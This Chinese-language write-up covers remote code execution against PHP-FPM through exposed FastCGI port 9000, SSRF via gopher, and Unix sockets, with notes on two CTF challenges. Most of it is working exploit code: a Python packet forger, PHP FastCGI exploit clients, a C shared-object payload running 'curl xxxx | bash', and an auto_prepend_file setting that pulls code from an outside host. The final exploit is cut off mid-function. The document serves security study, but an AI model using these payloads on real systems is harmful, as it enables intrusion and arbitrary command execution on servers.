php-fpm rce攻击

0x00  something

PHP-FPM(FastCGI Process Manager):FastCGI进程管理器

FastCGI

FastCGI 本身是一个协议,是服务器中间件和某个语言后端进行数据交换的协议

fastcgi 协议由多个 record 组成,record 由 header 和 body 组成

typedef struct {

  /* Header */

  unsigned char version; // 版本

  unsigned char type; // 本次record的类型

  unsigned char requestIdB1; // 本次record对应的请求id

  unsigned char requestIdB0;

  unsigned char contentLengthB1; // body体的大小

  unsigned char contentLengthB0;

  unsigned char paddingLength; // 额外块大小

  unsigned char reserved;

  /* Body */

  unsigned char contentData[contentLength];

  unsigned char paddingData[paddingLength];

} FCGI_Record;

实验推荐:Fastcgi安全


PHP-FPM

PHP-FPM 是 一个实现和管理 FastCGI 协议的进程

PHP-FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据

一般来说,apache 通过 mod_php 来解析 php,nginx 通过 php-fpm(fast-cgi) 来解析 php 。apache 也可以设置为 php-fpm 方式

mod_php 通过嵌入 PHP 解释器到 apache 进程中,只能与 apache 配合使用

而 cgi 和 fast-cgi 以独立的进程的形式出现,只要对应的Web服务器实现 cgi 或者 fast-cgi 协议,就能够处理 PHP 请求

0x01 PHP-FPM 的模式

nginx 与 php-fpm 通信可以通过两种模式,一种是 TCP 模式,一种是 unix 套接字 (socket) 模式

TCP 模式

php-fpm 进程会监听本机上的一个端口,默认为9000,然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析

nginx的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {

    ...

    fastcgi_pass 127.0.0.1:9000;

    ...

}

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

listen= 127.0.0.1:9000

Unix Socket

unix 系统进程间通信方式,需要通信的两个进程引用同一个 socket  描述符文件就可以建立通道进行通信

nginx 的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {

    ...

    fastcgi_pass unix:/run/php/php7.3-fpm.sock;

    ...

}

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

listen= /run/php/php7.3-fpm.sock

0x02 任意代码执行

普通 RCE

PHP-FPM 的两个环境变量: PHP_VALUE 和 PHP_ADMIN_VALUE,用来设置PHP配置项

PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项

PHP_ADMIN_VALUE 可以设置所有选项,但 disable_functions 除外

和php-fpm进行通信,执行php代码

来自p神的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1

找到一个已存在的PHP文件

设置 auto_prepend_file 为 php://input 且 allow_url_include = On,在执行任何php文件前都要包含一遍POST的内容,把待执行的代码放在Body中

或者 auto_prepend_file 为 自己的vps地址

但这种方法受限于 disable_functions

php-fpm rce攻击_第1张图片

绕过 disable_functions RCE

可以引入扩展 .so文件 ,hook函数,达到绕过 disable_functions 来RCE的效果

PHP_ADMIN_VALUE['extension'] = hack.so

生成 .so

文件的工具 https://github.com/w181496/FuckFastcgi/

或者

// gcc -c -fPIC hack.c -o hack

// gcc --share hack -o hack.so

#define _GNU_SOURCE

#include

#include

#include

__attribute__ ((__constructor__)) void preload (void)

{

    system("curl xxxx | bash");

}

0x03 attack

9000端口暴露在外网(未授权访问)

php-fpm rce攻击_第2张图片

修改 php-fpm的监听端口为 0.0.0.0:9000,也就是任何ip都能访问9000端口,就可以与 php-fpm 进行通信,伪造 fastcgi协议包进行任意代码执行

exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

SSRF打9000端口

如果9000端口没有开放在外网,可以通过SSRF来打,原理同上

php-fpm rce攻击_第3张图片
php-fpm rce攻击_第4张图片

import socket

import random

import argparse

import sys

from io import BytesIO

import base64

import urllib

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False

def bchr(i):

    if PY2:

        return force_bytes(chr(i))

    else:

        return bytes([i])

def bord(c):

    if isinstance(c, int):

        return c

    else:

        return ord(c)

def force_bytes(s):

    if isinstance(s, bytes):

        return s

    else:

        return s.encode('utf-8', 'strict')

def force_text(s):

    if issubclass(type(s), str):

        return s

    if isinstance(s, bytes):

        s = str(s, 'utf-8', 'strict')

    else:

        s = str(s)

    return s

class FastCGIClient:

    """A Fast-CGI Client for Python"""

    # private

    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1

    __FCGI_ROLE_AUTHORIZER = 2

    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1

    __FCGI_TYPE_ABORT = 2

    __FCGI_TYPE_END = 3

    __FCGI_TYPE_PARAMS = 4

    __FCGI_TYPE_STDIN = 5

    __FCGI_TYPE_STDOUT = 6

    __FCGI_TYPE_STDERR = 7

    __FCGI_TYPE_DATA = 8

    __FCGI_TYPE_GETVALUES = 9

    __FCGI_TYPE_GETVALUES_RESULT = 10

    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state

    FCGI_STATE_SEND = 1

    FCGI_STATE_ERROR = 2

    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):

        self.host = host

        self.port = port

        self.timeout = timeout

        if keepalive:

            self.keepalive = 1

        else:

            self.keepalive = 0

        self.sock = None

        self.requests = dict()

    def __connect(self):

        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.sock.settimeout(self.timeout)

        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # if self.keepalive:

        #    self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)

        # else:

        #    self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)

        try:

            self.sock.connect((self.host, int(self.port)))

        except socket.error as msg:

            self.sock.close()

            self.sock = None

            print(repr(msg))

            return False

        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):

        length = len(content)

        buf = bchr(FastCGIClient.__FCGI_VERSION) \

              + bchr(fcgi_type) \

              + bchr((requestid >> 8) & 0xFF) \

              + bchr(requestid & 0xFF) \

              + bchr((length >> 8) & 0xFF) \

              + bchr(length & 0xFF) \

              + bchr(0) \

              + bchr(0) \

              + content

        return buf

    def __encodeNameValueParams(self, name, value):

        nLen = len(name)

        vLen = len(value)

        record = b''

        if nLen < 128:

            record += bchr(nLen)

        else:

            record += bchr((nLen >> 24) | 0x80) \

                      + bchr((nLen >> 16) & 0xFF) \

                      + bchr((nLen >> 8) & 0xFF) \

                      + bchr(nLen & 0xFF)

        if vLen < 128:

            record += bchr(vLen)

        else:

            record += bchr((vLen >> 24) | 0x80) \

                      + bchr((vLen >> 16) & 0xFF) \

                      + bchr((vLen >> 8) & 0xFF) \

                      + bchr(vLen & 0xFF)

        return record + name + value

    def __decodeFastCGIHeader(self, stream):

        header = dict()

        header['version'] = bord(stream[0])

        header['type'] = bord(stream[1])

        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])

        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])

        header['paddingLength'] = bord(stream[6])

        header['reserved'] = bord(stream[7])

        return header

    def __decodeFastCGIRecord(self, buffer):

        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:

            return False

        else:

            record = self.__decodeFastCGIHeader(header)

            record['content'] = b''


            if 'contentLength' in record.keys():

                contentLength = int(record['contentLength'])

                record['content'] += buffer.read(contentLength)

            if 'paddingLength' in record.keys():

                skiped = buffer.read(int(record['paddingLength']))

            return record

    def request(self, nameValuePairs={}, post=''):

        # if not self.__connect():

        #    print('connect failure! please check your fasctcgi-server !!')

        #    return

        requestId = random.randint(1, (1 << 16) - 1)

        self.requests[requestId] = dict()

        request = b""

        beginFCGIRecordContent = bchr(0) \

                                + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \

                                + bchr(self.keepalive) \

                                + bchr(0) * 5

        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,

                                              beginFCGIRecordContent, requestId)

        paramsRecord = b''

        if nameValuePairs:

            for (name, value) in nameValuePairs.items():

                name = force_bytes(name)

                value = force_bytes(value)

                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:

            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)

        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:

            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)

        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        # print base64.b64encode(request)

        return request


        # self.sock.send(request)

        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND

        # self.requests[requestId]['response'] = b''

        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):

        data = b''

        while True:

            buf = self.sock.recv(512)

            if not len(buf):

                break

            data += buf

        data = BytesIO(data)

        while True:

            response = self.__decodeFastCGIRecord(data)

            if not response:

                break

            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \

                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:

                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:

                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR

                if requestId == int(response['requestId']):

                    self.requests[requestId]['response'] += response['content']

            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:

                self.requests[requestId]

        return self.requests[requestId]['response']

    def __repr__(self):

        return "fastcgi connect host:{} port:{}".format(self.host, self.port)

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')

    parser.add_argument('host', help='Target host, such as 127.0.0.1')

    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')

    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')

    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)

    params = dict()

    documentRoot = "/"

    uri = args.file

    content = args.code

    params = {

        'GATEWAY_INTERFACE': 'FastCGI/1.0',

        'REQUEST_METHOD': 'POST',

        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),

        'SCRIPT_NAME': uri,

        'QUERY_STRING': '',

        'REQUEST_URI': uri,

        'DOCUMENT_ROOT': documentRoot,

        'SERVER_SOFTWARE': 'php/fcgiclient',

        'REMOTE_ADDR': '127.0.0.1',

        'REMOTE_PORT': '9985',

        'SERVER_ADDR': '127.0.0.1',

        'SERVER_PORT': '80',

        'SERVER_NAME': "localhost",

        'SERVER_PROTOCOL': 'HTTP/1.1',

        'CONTENT_TYPE': 'application/text',

        'CONTENT_LENGTH': "%d" % len(content),

        'PHP_VALUE': 'auto_prepend_file = php://input',

        'PHP_ADMIN_VALUE': 'allow_url_include = On'

    }

    request = client.request(params, content)

    print "to base64 :"

    print base64.b64encode(request)

    # request = urllib.quote(request)

    print "to ssrf :"

    print urllib.quote("gopher://127.0.0.1:" + str(args.port) + "/_" + request)

Socket通信

直接与 Socket 进行通信,伪造fastcgi协议包进行任意代码执行

$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');

fputs($sock, base64_decode($_POST['A']));

var_dump(fread($sock, 4096));

?>

POST 方式 A 参数传入 base64 编码的 payload

php-fpm rce攻击_第5张图片

默认套接字的位置在 /run/php/php7.3-fpm.sock

如果不在的话可以通过默认 /etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径,或者 TCP 模式的端口号

0x04 CTF

*CTF echohub

https://github.com/CTFTraining/starctf_2019_echohub

题目环境是以 apache-module 运行的 php ,但是安装了所有的php拓展并且开启,也包括php-fpm

也就是说还有一个不带disable_function限制的php环境 php-fpm开启

题目环境运行的 php 无法利用,就来攻击这个 php 实现命令执行

wp: https://xz.aliyun.com/t/5006#toc-3

0CTF/TCTF2019_Quals wallbreaker-easy

题目如下

Imagick is a awesome library for hackers to break `disable_functions`.

So I installed php-imagick in the server, opened a `backdoor` for you.

Let's try to execute `/readflag` to get the flag.

Open basedir: /var/www/html:/tmp/06a2b932e87aa986fbd92a0582b9e655

Hint: eval($_POST["backdoor"]);

官方Hint:

Ubuntu 18.04 / apt install php php-fpm php-imagick

题目源码:

$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");

mkdir($dir);

ini_set('open_basedir', '/var/www/html:' . $dir);

?>

Imagick is a awesome library for hackers to break `disable_functions`.

So I installed php-imagick in the server, opened a `backdoor` for you.

Let's try to execute `/readflag` to get the flag.

Open basedir:

Hint: eval($_POST["backdoor"]);

题目是一个限制了 open_basedir 和 disable_functions

的webshell

题目有很多种解法,这里记录一下利用 PHP-FPM来绕过 open_basedir 的限制,读到flag

这里贴两个exp

exp1(点击查看):

/**

* Note : Code is released under the GNU LGPL

*

* Please do not change the header of this file

*

* This library is free software; you can redistribute it and/or modify it under the terms of the GNU

* Lesser General Public License as published by the Free Software Foundation; either version 2 of

* the License, or (at your option) any later version.

*

* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;

* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

*

* See the GNU Lesser General Public License for more details.

*/

/**

* Handles communication with a FastCGI application

*

* @author      Pierrick Charron

* @version    1.0

*/

class FCGIClient

{

    const VERSION_1            = 1;

    const BEGIN_REQUEST        = 1;

    const ABORT_REQUEST        = 2;

    const END_REQUEST          = 3;

    const PARAMS              = 4;

    const STDIN                = 5;

    const STDOUT              = 6;

    const STDERR              = 7;

    const DATA                = 8;

    const GET_VALUES          = 9;

    const GET_VALUES_RESULT    = 10;

    const UNKNOWN_TYPE        = 11;

    const MAXTYPE              = self::UNKNOWN_TYPE;

    const RESPONDER            = 1;

    const AUTHORIZER          = 2;

    const FILTER              = 3;

    const REQUEST_COMPLETE    = 0;

    const CANT_MPX_CONN        = 1;

    const OVERLOADED          = 2;

    const UNKNOWN_ROLE        = 3;

    const MAX_CONNS            = 'MAX_CONNS';

    const MAX_REQS            = 'MAX_REQS';

    const MPXS_CONNS          = 'MPXS_CONNS';

    const HEADER_LEN          = 8;

    /**

    * Socket

    * @var Resource

    */

    private $_sock = null;

    /**

    * Host

    * @var String

    */

    private $_host = null;

    /**

    * Port

    * @var Integer

    */

    private $_port = null;

    /**

    * Keep Alive

    * @var Boolean

    */

    private $_keepAlive = false;

    /**

    * Constructor

    *

    * @param String $host Host of the FastCGI application

    * @param Integer $port Port of the FastCGI application

    */

    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket

{

        $this->_host = $host;

        $this->_port = $port;

    }

    /**

    * Define whether or not the FastCGI application should keep the connection

    * alive at the end of a request

    *

    * @param Boolean $b true if the connection should stay alive, false otherwise

    */

    public function setKeepAlive($b)

{

        $this->_keepAlive = (boolean)$b;

        if (!$this->_keepAlive && $this->_sock) {

            fclose($this->_sock);

        }

    }

    /**

    * Get the keep alive status

    *

    * @return Boolean true if the connection should stay alive, false otherwise

    */

    public function getKeepAlive()

{

        return $this->_keepAlive;

    }

    /**

    * Create a connection to the FastCGI application

    */

    private function connect()

{

        if (!$this->_sock) {

            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);

            if (!$this->_sock) {

                throw new Exception('Unable to connect to FastCGI application');

            }

        }

    }

    /**

    * Build a FastCGI packet

    *

    * @param Integer $type Type of the packet

    * @param String $content Content of the packet

    * @param Integer $requestId RequestId

    */

    private function buildPacket($type, $content, $requestId = 1)

{

        $clen = strlen($content);

        return chr(self::VERSION_1)        /* version */

            . chr($type)                    /* type */

            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */

            . chr($requestId & 0xFF)        /* requestIdB0 */

            . chr(($clen >> 8 ) & 0xFF)    /* contentLengthB1 */

            . chr($clen & 0xFF)            /* contentLengthB0 */

            . chr(0)                        /* paddingLength */

            . chr(0)                        /* reserved */

            . $content;                    /* content */

    }

    /**

    * Build an FastCGI Name value pair

    *

    * @param String $name Name

    * @param String $value Value

    * @return String FastCGI Name value pair

    */

    private function buildNvpair($name, $value)

{

        $nlen = strlen($name);

        $vlen = strlen($value);

        if ($nlen < 128) {

            /* nameLengthB0 */

            $nvpair = chr($nlen);

        } else {

            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */

            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);

        }

        if ($vlen < 128) {

            /* valueLengthB0 */

            $nvpair .= chr($vlen);

        } else {

            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */

            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);

        }

        /* nameData & valueData */

        return $nvpair . $name . $value;

    }

    /**

    * Read a set of FastCGI Name value pairs

    *

    * @param String $data Data containing the set of FastCGI NVPair

    * @return array of NVPair

    */

    private function readNvpair($data, $length = null)

{

        $array = array();

        if ($length === null) {

            $length = strlen($data);

        }

        $p = 0;

        while ($p != $length) {

            $nlen = ord($data{$p++});

            if ($nlen >= 128) {

                $nlen = ($nlen & 0x7F << 24);

                $nlen |= (ord($data{$p++}) << 16);

                $nlen |= (ord($data{$p++}) << 8);

                $nlen |= (ord($data{$p++}));

            }

            $vlen = ord($data{$p++});

            if ($vlen >= 128) {

                $vlen = ($nlen & 0x7F << 24);

                $vlen |= (ord($data{$p++}) << 16);

                $vlen |= (ord($data{$p++}) << 8);

                $vlen |= (ord($data{$p++}));

            }

            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);

            $p += ($nlen + $vlen);

        }

        return $array;

    }

    /**

    * Decode a FastCGI Packet

    *

    * @param String $data String containing all the packet

    * @return array

    */

    private function decodePacketHeader($data)

{

        $ret = array();

        $ret['version']      = ord($data{0});

        $ret['type']          = ord($data{1});

        $ret['requestId']    = (ord($data{2}) << 8) + ord($data{3});

        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});

        $ret['paddingLength'] = ord($data{6});

        $ret['reserved']      = ord($data{7});

        return $ret;

    }

    /**

    * Read a FastCGI Packet

    *

    * @return array

    */

    private function readPacket()

{

        if ($packet = fread($this->_sock, self::HEADER_LEN)) {

            $resp = $this->decodePacketHeader($packet);

            $resp['content'] = '';

            if ($resp['contentLength']) {

                $len  = $resp['contentLength'];

                while ($len && $buf=fread($this->_sock, $len)) {

                    $len -= strlen($buf);

                    $resp['content'] .= $buf;

                }

            }

            if ($resp['paddingLength']) {

                $buf=fread($this->_sock, $resp['paddingLength']);

            }

            return $resp;

        } else {

            return false;

        }

    }

    /**

    * Get Informations on the FastCGI application

    *

    * @param array $requestedInfo information to retrieve

    * @return array

    */

    public function getValues(array $requestedInfo)

{

        $this->connect();

        $request = '';

        foreach ($requestedInfo as $info) {

            $request .= $this->buildNvpair($info, '');

        }

        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

        $resp = $this->readPacket();

        if ($resp['type'] == self::GET_VALUES_RESULT) {

            return $this->readNvpair($resp['content'], $resp['length']);

        } else {

            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');

        }

    }

    /**

    * Execute a request to the FastCGI application

    *

    * @param array $params Array of parameters

    * @param String $stdin Content

    * @return String

    */

    public function request(array $params, $stdin)

{

        $response = '';

        $this->connect();

        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));

        $paramsRequest = '';

        foreach ($params as $key => $value) {

            $paramsRequest .= $this->buildNvpair($key, $value);

        }

        if ($paramsRequest) {

            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);

        }

        $request .= $this->buildPacket(self::PARAMS, '');

        if ($stdin) {

            $request .= $this->buildPacket(self::STDIN, $stdin);

        }

        $request .= $this->buildPacket(self::STDIN, '');

        fwrite($this->_sock, $request);

        do {

            $resp = $this->readPacket();

            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {

                $response .= $resp['content'];

            }

        } while ($resp && $resp['type'] != self::END_REQUEST);

        var_dump($resp);

        if (!is_array($resp)) {

            throw new Exception('Bad request');

        }

        switch (ord($resp['content']{4})) {

            case self::CANT_MPX_CONN:

                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');

                break;

            case self::OVERLOADED:

                throw new Exception('New request rejected; too busy [OVERLOADED]');

                break;

            case self::UNKNOWN_ROLE:

                throw new Exception('Role value not known [UNKNOWN_ROLE]');

                break;

            case self::REQUEST_COMPLETE:

                return $response;

        }

    }

}

?>

// real exploit start here

if (!isset($_REQUEST['cmd'])) {

    die("Check your input\n");

}

if (!isset($_REQUEST['filepath'])) {

    $filepath = __FILE__;

}else{

    $filepath = $_REQUEST['filepath'];

}

$req = '/'.basename($filepath);

$uri = $req .'?'.'command='.$_REQUEST['cmd'];

$client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock", -1);

$code = ""; // php payload

//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";

$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://kaibro.tw/gginin";

$params = array(

        'GATEWAY_INTERFACE' => 'FastCGI/1.0',

        'REQUEST_METHOD'    => 'POST',

        'SCRIPT_FILENAME'  => $filepath,

        'SCRIPT_NAME'      => $req,

        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],

        'REQUEST_URI'      => $uri,

        'DOCUMENT_URI'      => $req,

#'DOCUMENT_ROOT'    => '/',

        'PHP_VALUE'        => $php_value,

        'SERVER_SOFTWARE'  => '80sec/wofeiwo',

        'REMOTE_ADDR'      => '127.0.0.1',

        'REMOTE_PORT'      => '9985',

        'SERVER_ADDR'      => '127.0.0.1',

        'SERVER_PORT'      => '80',

        'SERVER_NAME'      => 'localhost',

        'SERVER_PROTOCOL'  => 'HTTP/1.1',

        'CONTENT_LENGTH'    => strlen($code)

        );

// print_r($_REQUEST);

// print_r($params);

echo "Call: $uri\n\n";

echo strstr($client->request($params, $code), "PHP Version", true)."\n";

?>

exp2(点击查看):

class TimedOutException extends Exception {

}

class ForbiddenException extends Exception {

}

class Client {

    const VERSION_1 = 1;

    const BEGIN_REQUEST = 1;

    const ABORT_REQUEST = 2;

    const END_REQUEST = 3;

    const PARAMS = 4;

    const STDIN = 5;

    const STDOUT = 6;

    const STDERR = 7;

    const DATA = 8;

    const GET_VALUES = 9;

    const GET_VALUES_RESULT = 10;

    const UNKNOWN_TYPE = 11;

    const MAXTYPE = self::UNKNOWN_TYPE;

    const RESPONDER = 1;

    const AUTHORIZER = 2;

    const FILTER = 3;

    const REQUEST_COMPLETE = 0;

    const CANT_MPX_CONN = 1;

    const OVERLOADED = 2;

    const UNKNOWN_ROLE = 3;

    const MAX_CONNS = 'MAX_CONNS';

    const MAX_REQS = 'MAX_REQS';

    const MPXS_CONNS = 'MPXS_CONNS';

    const HEADER_LEN = 8;

    const REQ_STATE_WRITTEN = 1;

    const REQ_STATE_OK = 2;

    const REQ_STATE_ERR = 3;

    const REQ_STATE_TIMED_OUT = 4;

    private $_sock = null;

    private $_host = null;

    private $_port = null;

    private $_keepAlive = false;

    private $_requests = array();

    private $_persistentSocket = false;

    private $_connectTimeout = 5000;

    private $_readWriteTimeout = 5000;

    public function __construct($host, $port) {

        $this->_host = $host;

        $this->_port = $port;

    }

    public function setKeepAlive($b) {

        $this->_keepAlive = (boolean)$b;

        if (!$this->_keepAlive && $this->_sock) {

            fclose($this->_sock);

        }

    }

    public function getKeepAlive() {

        return $this->_keepAlive;

    }

    public function setPersistentSocket($b) {

        $was_persistent = ($this->_sock && $this->_persistentSocket);

        $this->_persistentSocket = (boolean)$b;

        if (!$this->_persistentSocket && $was_persistent) {

            fclose($this->_sock);

        }

    }

    public function getPersistentSocket() {

        return $this->_persistentSocket;

    }

    public function setConnectTimeout($timeoutMs) {

        $this->_connectTimeout = $timeoutMs;

    }

    public function getConnectTimeout() {

        return $this->_connectTimeout;

    }

    public function setReadWriteTimeout($timeoutMs) {

        $this->_readWriteTimeout = $timeoutMs;

        $this->set_ms_timeout($this->_readWriteTimeout);

    }

    public function getReadWriteTimeout() {

        return $this->_readWriteTimeout;

    }

    private function set_ms_timeout($timeoutMs) {

        if (!$this->_sock) {

            return false;

        }

        return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);

    }

    private function connect() {

        if (!$this->_sock) {

            if ($this->_persistentSocket) {

                $this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);

            } else {

                $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);

            }

            if (!$this->_sock) {

                throw new Exception('Unable to connect to FastCGI application: ' . $errstr);

            }

            if (!$this->set_ms_timeout($this->_readWriteTimeout)) {

                throw new Exception('Unable to set timeout on socket');

            }

        }

    }

    private function buildPacket($type, $content, $requestId = 1) {

        $clen = strlen($content);

        return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */

    }

    private function buildNvpair($name, $value) {

        $nlen = strlen($name);

        $vlen = strlen($value);

        if ($nlen < 128) {

            /* nameLengthB0 */

            $nvpair = chr($nlen);

        } else {

            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */

            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);

        }

        if ($vlen < 128) {

            /* valueLengthB0 */

            $nvpair.= chr($vlen);

        } else {

            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */

            $nvpair.= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);

        }

        /* nameData & valueData */

        return $nvpair . $name . $value;

    }

    private function readNvpair($data, $length = null) {

        $array = array();

        if ($length === null) {

            $length = strlen($data);

        }

        $p = 0;

        while ($p != $length) {

            $nlen = ord($data{$p++});

            if ($nlen >= 128) {

                $nlen = ($nlen & 0x7F << 24);

                $nlen|= (ord($data{$p++}) << 16);

                $nlen|= (ord($data{$p++}) << 8);

                $nlen|= (ord($data{$p++}));

            }

            $vlen = ord($data{$p++});

            if ($vlen >= 128) {

                $vlen = ($nlen & 0x7F << 24);

                $vlen|= (ord($data{$p++}) << 16);

                $vlen|= (ord($data{$p++}) << 8);

                $vlen|= (ord($data{$p++}));

            }

            $array[substr($data, $p, $nlen) ] = substr($data, $p + $nlen, $vlen);

            $p+= ($nlen + $vlen);

        }

        return $array;

    }

    private function decodePacketHeader($data) {

        $ret = array();

        $ret['version'] = ord($data{0});

        $ret['type'] = ord($data{1});

        $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});

        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});

        $ret['paddingLength'] = ord($data{6});

        $ret['reserved'] = ord($data{7});

        return $ret;

    }

    private function readPacket() {

        if ($packet = fread($this->_sock, self::HEADER_LEN)) {

            $resp = $this->decodePacketHeader($packet);

            $resp['content'] = '';

            if ($resp['contentLength']) {

                $len = $resp['contentLength'];

                while ($len && ($buf = fread($this->_sock, $len)) !== false) {

                    $len-= strlen($buf);

                    $resp['content'].= $buf;

                }

            }

            if ($resp['paddingLength']) {

                $buf = fread($this->_sock, $resp['paddingLength']);

            }

            return $resp;

        } else {

            return false;

        }

    }

    public function getValues(array $requestedInfo) {

        $this->connect();

        $request = '';

        foreach ($requestedInfo as $info) {

            $request.= $this->buildNvpair($info, '');

        }

        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

        $resp = $this->readPacket();

        if ($resp['type'] == self::GET_VALUES_RESULT) {

            return $this->readNvpair($resp['content'], $resp['length']);

        } else {

            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');

        }

    }

    public function request(array $params, $stdin) {

        $id = $this->async_request($params, $stdin);

        return $this->wait_for_response($id);

    }

    public function async_request(array $params, $stdin) {

        $this->connect();

        // Pick random number between 1 and max 16 bit unsigned int 65535

        $id = mt_rand(1, (1 << 16) - 1);

        // Using persistent sockets implies you want them keept alive by server!

        $keepAlive = intval($this->_keepAlive || $this->_persistentSocket);

        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5), $id);

        $paramsRequest = '';

        foreach ($params as $key => $value) {

            $paramsRequest.= $this->buildNvpair($key, $value, $id);

        }

        if ($paramsRequest) {

            $request.= $this->buildPacket(self::PARAMS, $paramsRequest, $id);

        }

        $request.= $this->buildPacket(self::PARAMS, '', $id);

        if ($stdin) {

            $request.= $this->buildPacket(self::STDIN, $stdin, $id);

        }

        $request.= $this->buildPacket(self::STDIN, '', $id);

        if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {

            $info = stream_get_meta_data($this->_sock);

            if ($info['timed_out']) {

                throw new TimedOutException('Write timed out');

            }

            // Broken pipe, tear down so future requests might succeed

            fclose($this->_sock);

            throw new Exception('Failed to write request to socket');

        }

        $this->_requests[$id] = array('state' => self::REQ_STATE_WRITTEN, 'response' => null);

        return $id;

    }

    public function wait_for_response($requestId, $timeoutMs = 0) {

        if (!isset($this->_requests[$requestId])) {

